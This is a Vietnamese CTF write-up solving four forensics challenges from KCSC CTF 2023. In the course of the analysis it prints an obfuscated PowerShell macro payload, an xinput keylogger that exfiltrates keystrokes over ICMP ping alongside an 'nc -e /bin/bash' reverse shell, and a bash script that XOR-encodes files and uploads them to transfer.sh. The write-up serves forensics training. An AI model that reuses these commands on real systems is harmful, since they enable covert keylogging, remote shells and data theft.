# KCSC CTF 2023 ![](https://hackmd.io/_uploads/ryPgaXGSh.png) ## Challenges | Category | Challenge Name | Difficulty | | --------- | ----------------- | ---------- | | | | | | Forensics | Tin học văn phòng | Easy | | Forensics | Dropper | Easy | | Forensics | Action Capture | Medium | | Forensics | Linux is hurt | Hard | ## Tin Học Văn Phòng : ### Des : ![](https://hackmd.io/_uploads/HkjN1Vzrn.png) ### Sol : Đề cung cấp cho mình 1 file Flag.zip => Extract nó ra mình nhận được 1 file Flag.docm Ở đây mình có 2 cách để làm thì mình chọn cách hơi khác 1 chút là mình đổi nó về zip và xem (cách để hiểu rõ nó nhất thì dùng olevba để xem) ![](https://hackmd.io/_uploads/HyNWWEfS2.png) C1 : Dùng olevba ![](https://hackmd.io/_uploads/HySk8NMH2.png) C2 : Đổi đuôi .zip và xem ![](https://hackmd.io/_uploads/B1XnWEGSn.png) Trong folder word có chưa 1 file .bin và mình mở nó lên xem thì đc P1 của flag. ![](https://hackmd.io/_uploads/HkDWzEfrh.png) Theo đề thì flag có 2 phần nên mình tiếp tục tìm P2 thì mình phát hiện các đoạn mã Base64 khá nghi ngờ ở document.xml ![](https://hackmd.io/_uploads/rkEcGEfH3.png) Ghép 2 chuỗi base64 này lại sau đó mình ném nó lên cyberchef để decode : ``` ${p4yL04D}=('Mộ'+'t '+'s'+'ố '+'tà'+'i '+'l'+("{1}{0}" -f 'u ','iệ')+'qua'+'n '+'trọ'+'ng '+'của'+' '+'b'+'ạn '+'đ'+'ã '+'bị'+' '+'m'+'ã '+(("hóa!!`nĐể "+'')+'')+("{0}{1}" -f 'đư','ợc')+' '+'hướ'+'ng '+'d'+'ẫn '+'giả'+'i '+'m'+'ã, '+'bạn'+' '+'cầ'+'n '+("{1}{0}" -f'uy','ch')+'ể'+'n '+'kh'+("{1}{0}"-f'ản ','o')+'1'+("{0}{1}"-f '00','k ')+'và'+'o '+'s'+'ố '+'tài'+' '+("{1}{0}" -f'ả','kho')+'n'+' '+(("sau:`n1010107112000`nChủ "+'')+'')+'tà'+'i '+'kh'+("{1}{0}" -f ':','oản')+' '+'N'+'guy'+'ễn '+'Th'+("{1}{0}" -f' ','anh')+(("Long`nNgân "+'')+'')+'h'+("{0}{1}" -f 'àng',' ')+'M'+'B '+'Ba'+'nk') &('A'+'d'+("{0}{1}"-f 'd-T','ype')) -AssemblyName ("{1}{6}{0}{3}{5}{4}{2}"-f 't.V',("{0}{1}"-f 'Micr','os'),'ic','is',("{1}{0}" -f 's','lBa'),'ua','of'); seT-ItEM ("V"+"arIab"+"le:hVI96") ( [TypE]("{4}{5}{7}{1}{3}{6}{0}{8}{2}" -F 'c.InTER','b','ION','a','miCrOsOf','t.ViS','sI','uAl','ACT') ) ; SEt-itEM ('vA'+'Riab'+'le:'+'O7v'+'8k') ( [TYPE]("{4}{5}{3}{2}{0}{1}"-F '.MSGBOxSt','yLe','.VIsualbASic','Soft','MiC','rO') ) ; ( get-vARIABlE ('hvI9'+'6') -valUEONl )::MsgBox(${p4yL04D}, $O7V8K::Information, ("{1}{4}{8}{11}{9}{0}{2}{3}{6}{10}{7}{5}" -f 'cùng thương','Chú',' ','t','ng tô','in','i',' t','i ',' ','ếc báo',' vô')); .("{3}{0}{1}{2}" -f("{1}{0}"-f 'tp','-Ou'),'u','t',("{0}{1}"-f'W','rite')) ${p4yL04D} | .("{1}{0}{2}" -f("{0}{1}{2}"-f'u','t-','Fil'),'O','e') -Encoding ("{1}{0}"-f'f8','ut') "C:\Users\$env:UserName\Desktop\Hacked.txt" ${Ws`CripT} = .("{0}{2}{1}"-f'New-O','ct','bje') -com ("{1}{0}{2}"-f'c','ws','ript.shell'); 1..50 | .('%') { ${w`SCri`Pt}."s`endK`EYs"([char]175) }; &("{2}{0}{1}" -f 't','art-Process','S') ("{2}{1}{0}" -f 'lore','p','iex') -ArgumentList ("{1}{6}{2}{0}{5}{3}{7}{4}"-f 'ww.youtube.c','-k ','://w','m/w','pRqs4k','o','https','atch?v=BMEdB') ${phlac}=("{2}{5}{0}{4}{1}{3}" -f 'y',("{2}{1}{0}" -f ("{2}{1}{0}" -f'H',("{0}{1}" -f'_a','h1'),'_m3'),'0t','u_g'),("{0}{2}{1}"-f 'Tr0',("{0}{1}" -f '4',("{0}{1}" -f("{0}{1}"-f'lw','@r'),'3')),("{1}{0}"-f'_m','ll')),'i','0','_');.("{4}{0}{3}{2}{1}"-f'-Va','e','abl','ri',("{0}{1}" -f'R',("{0}{1}"-f'emo','ve'))) ("{1}{0}" -f 'c',("{0}{1}" -f'phl','a')) ``` => Mình phát có biến ${phlac} có đề cập trong flag của p1 nên mình nghĩ đây là p2 . oke bây giờ mình chạy cái biến đó xem nó ra gì. Nhưng nó đã bị obfuscated nhưng có 1 tools có thể deobfuscate là powerdecode. ![](https://hackmd.io/_uploads/HkQBYNGS2.png) ![](https://hackmd.io/_uploads/rJeLt4MS2.png) Và mình nhận được P2 của flag. #flag : `KCSC{H1_1m_sUcky_Tr0ll_m4lw@r3_y0u_g0t_m3_ah1Hi}` ## Dropper ### Des : ![](https://hackmd.io/_uploads/B1vgq4MS3.png) ### Sol : Đề cung cấp cho mình 1 file disk là `evidence.vhdx` Mình ném nó vào Access Data FTK Imager để phân tích. Phân tích 1 lúc thì mình tìm được 1 file powershell `twenty.ps1` ở path `[NTFS]/[root]/C/Users/Public/ChromeUpdate/readme.txt` ![](https://hackmd.io/_uploads/HyQiqEzrh.png) Mình export file ra ngoài và mở nó lên xem bằng Notepad ![](https://hackmd.io/_uploads/rJXI2NMS2.png) => Thấy được header của nó là `MSCF` và trong file này này chứa 1 file twenty.ps1 khác Dựa vào Header mình tìm nó ở [đây](https://en.wikipedia.org/wiki/List_of_file_signatures) là thì biết được đây là file `Cabinet` => Sửa đuôi tệp thành .cab và mở nó thì mình nhận được file powershell gốc ![](https://hackmd.io/_uploads/r1xaunVzH2.png) Mình mở file [ps1](https://github.com/KMANVK/KCSC_CTF_2023/blob/main/twenty.ps1) lên và phân tích. Oke phân tích được 1 lúc thì mình thấy nó là 1 đoạn mã powershell => ném nó vào powershell và chạy để xem nó ra cái gì :vv, à trước khi chạy thì mình sửa chỗ IEX `IEX trong PowerShell là một cmdlet được sử dụng để thực thi các lệnh PowerShell được chứa trong một chuỗi. Khi bạn sử dụng IEX để thực thi các lệnh PowerShell từ một chuỗi, thì chuỗi đó có thể bị mã hóa hoặc ẩn đi để che giấu nội dung.` => thành echo để chạy. Sau khi chạy xong thì mình nhận 1 file powershell khác =)) ![](https://hackmd.io/_uploads/rk_vaVGHn.png) Và mình đã sử dụng 1 tool (tool này chạy bằng cơm @@) Và mình đã chạy nó 20 lần theo như cái tên file là `twenty == 20` =))) để có được mã base64 đã bị mã hóa =))) ![](https://hackmd.io/_uploads/BJ4onNfr3.png) Lý do mình biết nó bị mã hóa bởi base64 là nằm ở phần cuối của file : ![](https://hackmd.io/_uploads/rypnhVfrn.png) File 20.ps1 : https://github.com/KMANVK/KCSC_CTF_2023/blob/main/20.ps1 Mình ném đoạn mã base64 kia lên cyberchef decode và mình nhận được 1 file jpg. Tải file ảnh về và mình nhận được flag. #flag : `KCSC{Som3one's_thr0ugh1s_KMA_don't_have_researcher?}` ## Action Capture ### Des : ![](https://hackmd.io/_uploads/Bk6gC4MSn.png) ### Sol : Đề cho mình 1 file pcap => mở nó bằng wireshark để phân tích. Thì mình phát hiện ở phần data protocol ICMP đã chiếm đến 99 % ![image](https://github.com/KMANVK/KCSC_CTF_2023/assets/94669750/71080adb-d81a-4f1a-aa61-74deacb9b314) Mình dùng tshark để extract tất cả data của icmp ra và xem nó : `$tshark -r ActionCapture.pcapng -Y "icmp.type == 8" -T fields -e "data.data" > Data.txt` file Data.txt : https://github.com/KMANVK/KCSC_CTF_2023/blob/main/Data.txt Sau đó mình ném nó lên cyberchef để decode. Mình nhận được đống này : ![](https://hackmd.io/_uploads/HyJvM_ES3.png) ![](https://hackmd.io/_uploads/HJp3J9NS3.png) Lúc đầu mình đọc chỉ hình dung được mỗi cái key press với key releas nó bị lặp lại còn lại mình chưa hiểu lắm @@ Nên sợt gg =)) nhưng cũng không tìm được gì nhiều ngoài trừ biết nó là mã bàn phím còn vế sau thì mình chưa rõ. Thế là mình tiếp tục tìm kiếm thêm thông trong pcap. Thì mình follow tcp stream eq 0 mình nhận được cái này ![](https://hackmd.io/_uploads/H1fZHqEH2.png) ``` xinput test 8 | while read -r line; do hex_data=$(echo "$line" | xxd -p -c 10); echo "$hex_data" | while read -r data; do ping -c 1 -p "$data" 192.168.253.27; done; done > /dev/null 2>&1 & nc 192.168.253.27 5349 -e /bin/bash ``` => Lệnh này sử dụng công cụ xinput để theo dõi sự kiện từ thiết bị đầu vào số 8. Thiết bị cụ thể ở đây là Keyboard.Sau đó lấy 10bytes chuyển sang hex và lưu kết quả vào biến "hex_data" => ping data đến địa chỉ `192.168.253.27` Và thiết bị còn lại sẽ là mouse(như trên hình) ``` xinput test 10 | xxd -p -c 10 | xargs -I{} ping -c 1 -p {} 192.168.253.27 > /dev/null 2>&1 ``` Lệnh này cũng tương tự như lệnh ở trên. Thiết bị ở đây là Mouse(thiết bị đầu vào số 10) Oke bây giờ mình đã biết được nó là xinput key và mouse nên giờ sẽ extract nó ra và giải mã. Đối với Key thì mình tìm được [tool](https://github.com/Wh1t3Rh1n0/xinput-keylog-decoder/blob/master/xinput-keylog-decoder.py) này để giải mã nó. Và đầu tiên thì mình dùng tshark để lấy phần data của Key và Mou : Mình phát hiện 1 protocol TCP chăng giữa các protocol ICMP ở phần Data : Frame Number 868(ICMP) | Frame Number 869(TCP) | Frame Number 871(ICMP) ![](https://hackmd.io/_uploads/rJ-VRqVSn.png) Key : `$tshark -r ActionCapture.pcapng -Y "icmp.type == 8 && frame.number <= 869" -T fields -e data.data > key.txt` Mou : `$tshark -r ActionCapture.pcapng -Y "icmp.type == 8 && frame.number > 869" -T fields -e data.data > mouse.txt` => Ném chúng lên cyberchef và decode hex Sau đó chuyển nó về đúng format và giải mã chúng. ``` EX : file key.txt key press 50 key press 40 key release 50 key release 40 key press 26 key release 26 ``` Kịch Bản : `Key` : ``` with open('key.txt','r') as f: kb = f.readlines() with open('key_kma.txt','w') as w: a = 0 for i in kb: if a % 2: w.write(bytes.fromhex(i)[12:17].decode()) # print(bytes.fromhex(i)[12:17]) else: w.write(bytes.fromhex(i)[12:22].decode()) # print(bytes.fromhex(i)[12:22]) a += 1 #!/usr/bin/env python3 import sys mod_keymap = {50: '<LSHIFT>', 62: '<RSHIFT>', 37: '<LCTRL>', 105: '<RCTRL>', 133: '<LWIN>', 134: '<RWIN>', 64: '<LALT>', 108: '<RALT>', 135: '<MENU>'} char_keymap = {9: '<ESC>', 67: '<F1>', 68: '<F2>', 69: '<F3>', 70: '<F4>', 71: '<F5>', 72: '<F6>', 73: '<F7>', 74: '<F8>', 75: '<F9>', 76: '<F10>', 95: '<F11>', 96: '<F12>', 118: '<INS>', 119: '<DEL>', 49: '`', 10: '1', 11: '2', 12: '3', 13: '4', 14: '5', 15: '6', 16: '7', 17: '8', 18: '9', 19: '0', 20: '-', 21: '=', 22: '<BACKSPACE>', 23: '<TAB>', 24: 'q', 25: 'w', 26: 'e', 27: 'r', 28: 't', 29: 'y', 30: 'u', 31: 'i', 32: 'o', 33: 'p', 34: '[', 35: ']', 51: '\\', 66: '<CAPSLOCK>', 38: 'a', 39: 's', 40: 'd', 41: 'f', 42: 'g', 43: 'h', 44: 'j', 45: 'k', 46: 'l', 47: ';', 48: "'", 36: '<ENTER>', 52: 'z', 53: 'x', 54: 'c', 55: 'v', 56: 'b', 57: 'n', 58: 'm', 59: ',', 60: '.', 61: '/', 65: '<SPACE>', 111: '<UPARROW>', 113: '<LEFTARROW>', 116: '<DOWNARROW>', 114: '<RIGHTARROW>', 110: '<HOME>', 115: '<END>', 112: '<PGUP>', 117: '<PGDN>', 77: '<NUMLOCK>', 106: '<NUM/>', 63: '<NUM*>', 82: '<NUM->', 79: '<NUM7>', 80: '<NUM8>', 81: '<NUM9>', 83: '<NUM4>', 84: '<NUM5>', 85: '<NUM6>', 86: '<NUM+>', 87: '<NUM1>', 88: '<NUM2>', 89: '<NUM3>', 90: '<NUM0>', 91: '<NUM.>', 104: '<NUMENTER>', 134: '<RWIN>', 133: '<LWIN>'} def parse_line(line, char_keymap=char_keymap, mod_keymap=mod_keymap): key_type = [] if "key press" in line or "key release" in line: key_num = int(line.split(" ")[-1]) if char_keymap.get(key_num): key = char_keymap.get(key_num) key_type.append("char") if mod_keymap.get(key_num): key = mod_keymap.get(key_num) key_type.append("mod") if key_num not in mod_keymap and key_num not in char_keymap: key = "<UNKNOWN KEY: %s>" % key_num key_type += ["char", "mod"] else: key_type = None key = line if "key press" in line: action="press" elif "key release" in line: action="release" else: action=None this_key = { "action": action, "key": key, "type": key_type } return this_key usage = """ xinput-keylog-decoder --------------------- Converts logs created with xinput into human-readable keylogs. Usage: python3 xinput-keylog-decoder.py <xinput log file> """ if len(sys.argv) <= 1 or "-h" in sys.argv or "--help" in sys.argv: print(usage) exit() if len(sys.argv) > 1: log_file = sys.argv[1] f = open(log_file) log_data = [line.strip() for line in f.readlines()] f.close() line = "" next_line = "" pressed_keys = [] first_line = True last_line_raw = True log_data.append("---END OF LOG---") for next_line in log_data: if line == None: line = next_line continue this_key = parse_line(line) next_key = parse_line(next_line) if this_key["action"] == "press": if len(pressed_keys) == 0 : if ( ( "mod" not in this_key["type"] ) or ( next_key["key"] == this_key["key"] and next_key["action"] == "release" ) ): print(this_key["key"], end='') else: print("+".join(pressed_keys) + "+" + this_key["key"], end='') if "mod" in this_key["type"]: pressed_keys.append(this_key["key"]) first_line = False last_line_raw = False elif this_key["action"] == "release": if this_key["key"] in pressed_keys: pressed_keys.remove(this_key["key"]) first_line = False last_line_raw = False elif this_key["key"] != None and this_key["key"] != "": if not first_line: print() if not last_line_raw: print() print(this_key["key"]) first_line = False last_line_raw = True if next_key["action"] != None: print() line = next_line print() ``` Mình nhận P1 của flag : ![](https://hackmd.io/_uploads/SJgAms4H3.png) `flag ne 75 67 83 67 123 103 48 48 100 95 108 117 99 107 95 het phan 1 roi` => `KCSC{g00d_luck_` `Mou` : ``` with open('mouse.txt','r') as f: mouse = f.readlines() with open('mouse_kma.txt','w') as w: for i in mouse: w.write(bytes.fromhex(i)[12:22].decode()) import matplotlib.pyplot as plt x = [] y = [] with open('mouse_kma.txt', 'r') as f: a = f.readlines() for i in a: i = i.split(' ') if len(i) >= 4: try: x_val = int(i[1].split('=')[1]) y_val = -int(i[-2].split('=')[1]) x.append(x_val) y.append(y_val) except (ValueError, IndexError): continue fig = plt.figure() ax1 = fig.add_subplot(111) ax1.scatter(x, y, c='r', marker='o') plt.show() ``` => Mình nhận được P2 của flag : ![](https://hackmd.io/_uploads/rkIkZj4Sn.png) => `have_fuN1337}` #flag : `KCSC{g00d_luck_have_fuN1337}` ## Linux is hurt ### Des : ![](https://hackmd.io/_uploads/B1U5xfrBn.png) ### Sol : Đề cho mình 1 file mem.bin. Đầu tiên, kiểm tra version của nó và build profile cho file mem. ![](https://hackmd.io/_uploads/B1EHlx8r3.png) => Linux version 5.4.0-122-generic (ubuntu9.4.0~ubuntu20.4.1) `Link tải Version Linux : https://drive.google.com/file/d/1GuMrYRUk0wQJYDnkj7EgwVjF_e2Rzb5h/view?usp=sharing` Đối với bài này mình dùng vol2 để build profile. Oke, mình thực hiện các bước sau : ``` $git clone https://github.com/volatilityfoundation/volatility $cd volatility/tools/linux/ $sed -i 's/$(shell uname -r)/5.4.0-122-generic/g' Makefile $docker run -it --rm -v $PWD:/volatility ubuntu:20.04 /bin/bash #apt update && apt install -y linux-image-5.4.0-122-generic linux-headers-5.4.0-122-generic build-essential dwarfdump make zip #cd volatility #make #zip Ubuntu2004.zip module.dwarf /boot/System.map-5.4.0-122-generic #exit $cp Ubuntu2004.zip <volatility>/plugins/overlays/linux/ ``` Cuối cùng thì mình check xem thử đã build thành công hay chưa : `$python2 vol.py --info | grep Profile` ![](https://hackmd.io/_uploads/S19KQlUBn.png) Oke sau khi build thành công thì mình chạy lệnh như sau : `$python2 vol.py -f mem.bin --profile=LinuxUbuntu2004x64 linux_bash` ![](https://hackmd.io/_uploads/SkVZNgIH2.png) Lúc này mình chú ý đến 2 thứ đó là : + `7z x toy.zip -pmaltoy` + `./deman.sh qr.png.enc out.gif` => Extract file toy.zip với pass là maltoy. Còn file bash/bin kia vẫn là 1 ẩn số Thì bây giờ mình sẽ tìm file toy.zip trước xem nó có gì trong đó. Mình dùng strings để kiếm nó trc =))). `$strings mem.bin | grep "toy.zip"` ![](https://hackmd.io/_uploads/SJ19gbLrh.png) => mình tìm được đường dẫn của nó là : `/home/remnux/Documets/toy.zip` Tiếp theo dựa vào path đó mình dùng plugin `linux_find_file` : `$python2 vol.py -f mem.bin --profile=LinuxUbuntu2004x64 linux_find_file -F "/home/remnux/Documets/toy.zip"` ![](https://hackmd.io/_uploads/By8bBbLS3.png) oke đã thấy được nó, bây giờ mình sẽ dump nó ra : `$python2 vol.py -f mem.bin --profile=LinuxUbuntu2004x64 linux_find_file -i 0xffff9b12ec30cdf8 -O toy.zip` Mở file lên xem thì mình thấy nó chứa 2 file : + deman.sh + evil Với pass đã có trước đó là maltoy thì mình extract file toy.zip để lấy 2 file kia ra. Đã tìm thấy được file bash/bin ban đầu mà mình nghi ngờ, bắt đầu phân tích nó. ``` #!/bin/bash file="$1" output="$2" if [ -z "$output" ]; then output = "output" fi if [ ! -f "$file" ]; then exit 1 fi if [ "$(uname)" == "Darwin" ]; then filesize=$(stat -f "%z" "$file") else filesize=$(stat -c%s "$file") fi chunksize=64 nchunks=$((filesize/chunksize)) for i in $(seq 0 $nchunks); do dd if="$file" of=chunk_"$i" bs="$chunksize" skip="$i" count=1 done for i in $(seq 0 $nchunks); do qrencode -t png -o frame_"$i".png < chunk_"$i" -s 9 done if [ "$(uname)" == "Darwin" ]; then ffmpeg -y -r 10 -i frame_%d.png $output else ffmpeg -i frame_%d.png $output -y -r 10 fi rm -f chunk_* rm -f frame_* xortool-xor -f $output -h $(openssl rand -hex 100) > $output.kcs curl --upload-file ./$output.kcs https://transfer.sh/robots.txt rm -f $output.kcs rm -f $output rm -f $1 ``` Ở đây chúng ta để ý từ hàm for đầu tiên trở xuống, tập lệnh này chia tệp thành nhiều phần, chuyển đổi từng phần thành mã QR, tạo video từ khung mã QR, mã hóa video và tải video đó lên cái địa chỉ `https://transfer.sh/robots.txt`. ``` Tập lệnh sử dụng một vòng lặp để chia tệp thành nhiều phần. Nó sử dụng lệnh dd để sao chép một đoạn dữ liệu cụ thể từ tệp đầu vào ($file) và lưu nó thành một tệp riêng có tên chunk_"$i". Tham số bs chỉ định kích thước khối, còn tham số bỏ qua và đếm xác định đoạn nào cần trích xuất. Một vòng lặp khác được sử dụng để chuyển đổi từng đoạn thành hình ảnh mã QR. Lệnh qrencode được sử dụng để tạo hình ảnh PNG (frame_"$i".png) từ nội dung của chunk_"$i". Tiếp theo, tập lệnh kiểm tra hệ điều hành bằng lệnh uname. Nếu HĐH là macOS (Darwin), thì nó sử dụng ffmpeg để tạo video từ các khung mã QR. Video kết quả được lưu dưới dạng $output. Mặt khác, trên các hệ thống khác, lệnh ffmpeg được thực thi với các tùy chọn khác nhau để tạo video. Tập lệnh xóa các tệp đoạn và khung tạm thời bằng lệnh rm. Sau đó, nó sử dụng xortool-xor để thực hiện mã hóa XOR trên tệp video ($output) bằng cách sử dụng khóa thập lục phân 100 byte được tạo bởi openssl rand. Đầu ra được lưu dưới dạng $output.kcs. Tập lệnh tải tệp được mã hóa ($output.kcs) lên dịch vụ chia sẻ tệp 'transfer.sh' bằng cách sử dụng lệnh curl. Cuối cùng, nó xóa tệp được mã hóa ($output.kcs) và tệp video gốc ($output). ``` Tệp video gốc cụ thể ở đây là 1 file gif. Oke bây giờ mình sẽ làm ngược lại quy trình so với nội dung của file bash, tìm file gif(dựa vào `./deman.sh qr.png.enc out.gif`) đã được tải lên URL `https://transfer.sh/robots.txt` Dùng strings để tìm URL gốc của nó : `$strings mem.bin |grep "robots.txt"` ![](https://hackmd.io/_uploads/SyPAobUr2.png) => URL gốc : `https://transfer.sh/vXpvqj/robots.txt` Cop url lên thanh địa chỉ và mình nhận được file [robots.txt](https://github.com/KMANVK/KCSC_CTF_2023/blob/main/robots.txt) Bước tiếp là dùng xortool để giải mã file robots.txt ra file output.kcs(thực chất nó là 1 file gif dựa vào ./deman.sh qr.png.enc out.gif ) Mình có hỏi chatGPT về số bytes xuất hiện nhiều lần nhất trong 1 file gif : ``` Trong các file GIF, bytes 00 (không có dữ liệu) thường xuất hiện nhiều lần. Điều này xuất phát từ cách mã hóa dữ liệu trong file GIF. Trong mã hóa LZW được sử dụng trong file GIF, một bảng từ điển được sử dụng để lưu trữ các chuỗi dữ liệu xuất hiện trong hình ảnh. Khi một chuỗi dữ liệu mới không xuất hiện trong bảng từ điển, mã LZW mới được tạo và thêm vào bảng từ điển. Trong file GIF, một mã LZW đặc biệt, thường là mã "Clear code" hoặc mã "End of information code," được sử dụng để xác định các điểm khởi đầu mới trong quá trình nén. Thông thường, các mã này được mã hóa thành một chuỗi bytes 00. Do đó, trong các khối dữ liệu nén GIF, bytes 00 có xu hướng xuất hiện nhiều lần hơn so với các giá trị khác. Tuy nhiên, tần suất xuất hiện của bytes 00 trong một file GIF cụ thể vẫn phụ thuộc vào nội dung và cách mã hóa của hình ảnh đó. ``` Và dựa theo câu lệnh này `xortool-xor -f $output -h $(openssl rand -hex 100)` mình biết được độ dài là 100. + Dùng lệnh để giải mã nó : `$xortool -l 100 -C 00 robots.txt` ![](https://hackmd.io/_uploads/BJTZ2z8S3.png) Oke mình đã nhận được 1 file gif. ![](https://hackmd.io/_uploads/BJeu86G8B2.png) Tiếp theo mình dùng lệnh frame để tách các ảnh QR có trong file gif. `$ffmpeg -i 0.gif -r 10 -vsync 0 Frame_%d.png` Sau khi tách nó ra mình nhận được 7 file ảnh .png ![](https://hackmd.io/_uploads/Bk1T1XUH3.png) Và bây giờ mình viết kịch bản để giải mã QR của 7 Frame này : ``` import cv2 import os import sys from pyzbar.pyzbar import decode # Đường dẫn đến thư mục chứa các ảnh # folder_path = "C:\\Users\\ASUS\\Downloads\\2" folder_path = "C:\\Users\\ASUS\\Downloads\\xortool_out" output_file = open("output.txt", "a") for i in range(1, 8): filename = f"Frame_{i}.png" file_path = os.path.join(folder_path, filename) if file_path.endswith((".png")): # Đọc ảnh và giải mã mã QR image = cv2.imread(file_path) decoded = decode(image) if len(decoded) > 0: result = f"{decoded[0].data.decode()}\n" print(result) output_file.write(result) output_file.close() ``` Và sau khi giải mã, mình nhận được : ![](https://hackmd.io/_uploads/ByB4gmLB2.png) ``` s1VGv0oBj4Wsz+GqR5nYdw==OSxMSZRlAgmv+fLDdm2ZJJeABsi1ZLN20vLYG2EF o+ccZsR/0bljlnC3hRRCLlskMGCd1N5Ci2st7CY9sz65YRWaHWkY1lnspuBzOnRv OGibepJNEYwU/tNstEGC7xh7MElaVRgDyY8PzvKiQ5uCtElFI3I23QSP4KI5AtQR eN0d7dvOQ9nqHgtTVr3wSVt6tPhLKQg1INiZDsjwELvYgXcx6QOpOn3GhJB8Tzks Z7eksCs9BJ06RTRRPdHtKHAlLDxItgKo2yctR2lkcQMGU0nQDQW/YNx4medptGqR 8gjxR0SSC/xHyfFCYigWRIpQSN9ywVrs4RgBIUwqEH0Pr6lbE8URcuvm/9OVcPcR XbokwfNHRNWabPF6pLmgnaETbFwfiBKAcEA6dmLvviSPMg== ``` Và bây giờ mình đã có được data gốc của nó. Bây giờ, mình sẽ qua xem file còn lại là evil thử nó là gì. ![](https://hackmd.io/_uploads/SkgQDPISn.png) => nó là file ELF, oke bây giờ mình sẽ chạy thử nó xem : ![](https://hackmd.io/_uploads/S1g96PLH2.png) File gốc của nó là file py nên mình dùng tools [pyintxtractor.py](https://github.com/extremecoders-re/pyinstxtractor) và uncompyle6 để lấy được file py gốc. ![](https://hackmd.io/_uploads/ryurRv8S3.png) ![](https://hackmd.io/_uploads/Hy29Av8Sh.png) Dựa vào code thì mình chú ý đoạn này : ``` data = enc.read() cipher = AES.new(key, AES.MODE_CFB) ciphertext = cipher.encrypt(pad(data, AES.block_size)) iv = b64encode(cipher.iv).decode('UTF-8') ciphertext = b64encode(ciphertext).decode('UTF-8') write = iv + ciphertext ``` ``` data = enc.read(): Có vẻ như đối tượng enc có phương thức read(), phương thức này đọc một số dữ liệu và gán dữ liệu đó cho biến dữ liệu. cipher = AES.new(key, AES.MODE_CFB): Tại đây, một đối tượng mật mã AES được tạo bằng cách sử dụng khóa được cung cấp và chế độ hoạt động Phản hồi mật mã (CFB). Khóa được coi là khóa mã hóa AES hợp lệ. ciphertext = cipher.encrypt(pad(data, AES.block_size)): Hàm pad() đệm dữ liệu thành bội số của kích thước khối AES (16 byte) để đảm bảo rằng dữ liệu có thể được mã hóa đúng cách. Sau đó, phương thức mã hóa () của đối tượng mật mã được sử dụng để mã hóa dữ liệu đệm, dẫn đến bản mã. iv = b64encode(cipher.iv).decode('UTF-8'): Vectơ khởi tạo (IV) được mật mã AES sử dụng được mã hóa base64 và được chuyển đổi thành chuỗi được mã hóa UTF-8. IV là cần thiết để giải mã để khởi tạo mật mã một cách chính xác. ciphertext = b64encode(ciphertext).decode('UTF-8'): Bản mã được mã hóa base64 và được chuyển đổi thành chuỗi mã hóa UTF-8. Mã hóa bản mã đảm bảo rằng nó có thể được biểu diễn an toàn dưới dạng văn bản. write = iv + ciphertext: IV và ciphertext được nối với nhau thành một chuỗi duy nhất, được lưu trữ trong biến ghi. Chuỗi nối này có thể được ghi vào một tệp hoặc truyền qua mạng. ``` Từ data gốc mình đã có ở trước đó cùng với `write = iv + ciphertext` thì mình biết được IV và Ciphertext của nó : `IV : s1VGv0oBj4Wsz+GqR5nYdw==` ``` Ciphertext : OSxMSZRlAgmv+fLDdm2ZJJeABsi1ZLN20vLYG2EF o+ccZsR/0bljlnC3hRRCLlskMGCd1N5Ci2st7CY9sz65YRWaHWkY1lnspuBzOnRv OGibepJNEYwU/tNstEGC7xh7MElaVRgDyY8PzvKiQ5uCtElFI3I23QSP4KI5AtQR eN0d7dvOQ9nqHgtTVr3wSVt6tPhLKQg1INiZDsjwELvYgXcx6QOpOn3GhJB8Tzks Z7eksCs9BJ06RTRRPdHtKHAlLDxItgKo2yctR2lkcQMGU0nQDQW/YNx4medptGqR 8gjxR0SSC/xHyfFCYigWRIpQSN9ywVrs4RgBIUwqEH0Pr6lbE8URcuvm/9OVcPcR XbokwfNHRNWabPF6pLmgnaETbFwfiBKAcEA6dmLvviSPMg== ``` Oke bây giờ mình còn thiếu key của nó, thì mình tìm trong file mem thử có khum. ![](https://hackmd.io/_uploads/BJWuQOLS2.png) => `Key : 5.15.0-kali3` Oke bây giờ mình đã có tất cả dữ kiện, viết kịch bản giải mã nó thôi : ``` from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import base64 data = 'OSxMSZRlAgmv+fLDdm2ZJJeABsi1ZLN20vLYG2EFo+ccZsR/0bljlnC3hRRCLlskMGCd1N5Ci2st7CY9sz65YRWaHWkY1lnspuBzOnRvOGibepJNEYwU/tNstEGC7xh7MElaVRgDyY8PzvKiQ5uCtElFI3I23QSP4KI5AtQReN0d7dvOQ9nqHgtTVr3wSVt6tPhLKQg1INiZDsjwELvYgXcx6QOpOn3GhJB8TzksZ7eksCs9BJ06RTRRPdHtKHAlLDxItgKo2yctR2lkcQMGU0nQDQW/YNx4medptGqR8gjxR0SSC/xHyfFCYigWRIpQSN9ywVrs4RgBIUwqEH0Pr6lbE8URcuvm/9OVcPcRXbokwfNHRNWabPF6pLmgnaETbFwfiBKAcEA6dmLvviSPMg==' data = base64.b64decode(data) key = '5.15.0-kali3' key = key.encode('UTF-8') key = pad(key, AES.block_size) iv = base64.b64decode('s1VGv0oBj4Wsz+GqR5nYdw==') cipher = AES.new(key, AES.MODE_CFB, iv) plaintext = cipher.decrypt(data) plaintext = unpad(plaintext, AES.block_size) with open('qr.png', 'wb') as f: f.write(plaintext) ``` Sau khi chạy thì mình nhận được 1 file ảnh qr.png ![](https://hackmd.io/_uploads/HJGoNdLr2.png) => Quét mã [QR](https://zxing.org/w/decode) và mình nhận được flag. ![](https://hackmd.io/_uploads/BJMyB_8B2.png) #flag : `KCSC{K1_n13m_L1nuX}` ## RES : + https://github.com/extremecoders-re/pyinstxtractor + https://github.com/rocky/python-uncompyle6/#installation + https://beguier.eu/nicolas/articles/security-tips-3-volatility-linux-profiles.html + https://github.com/decalage2/oletools/wiki/olevba + https://github.com/Malandrone/PowerDecode